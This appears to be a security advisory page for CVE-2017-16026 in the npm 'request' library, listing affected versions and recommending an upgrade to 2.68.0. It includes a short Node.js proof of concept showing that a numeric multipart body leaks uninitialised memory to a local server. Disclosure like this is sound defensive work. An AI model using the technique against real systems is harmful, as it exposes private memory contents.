Packages / request / Security

ModerateVulnerabilityGHSA-7xfp-9c55-5vqjCVE-2017-16026Published 9 Nov 2018

Remote Memory Exposure in request

Affected releases · request

  • 2.x2.2.6 – 2.67.0Fixed in 2.68.0

On 2.x, the newest line:

npm install request@2.68.0
  1. Not affected

    0.8.3 – 2.2.5

    27 releases

  2. Affected

    2.2.6 – 2.67.0

    77 releases

  3. Fixed

    2.68.0 – 2.88.2

    22 releases, latest

126 stable releases of request, oldest to newest.

Is your project affected?

Paste your package.json, or type the range you declare for request. It is read in your browser and sent nowhere.

What happens

Affected versions of request will disclose local system memory to remote systems in certain circumstances. When a multipart request is made, and the type of body is number, then a buffer of that size will be allocated and sent to the remote server as the body.

Proof of Concept

var request = require('request');
var http = require('http');

var serveFunction = function (req, res){
	req.on('data', function (data) {
            console.log(data)
        });
	res.end();
};
var server = http.createServer(serveFunction);
server.listen(8000);

request({
	method: "POST",
	uri: 'http://localhost:8000',
	multipart: [{body:500}]
},function(err,res,body){});

Recommendation

Update to version 2.68.0 or later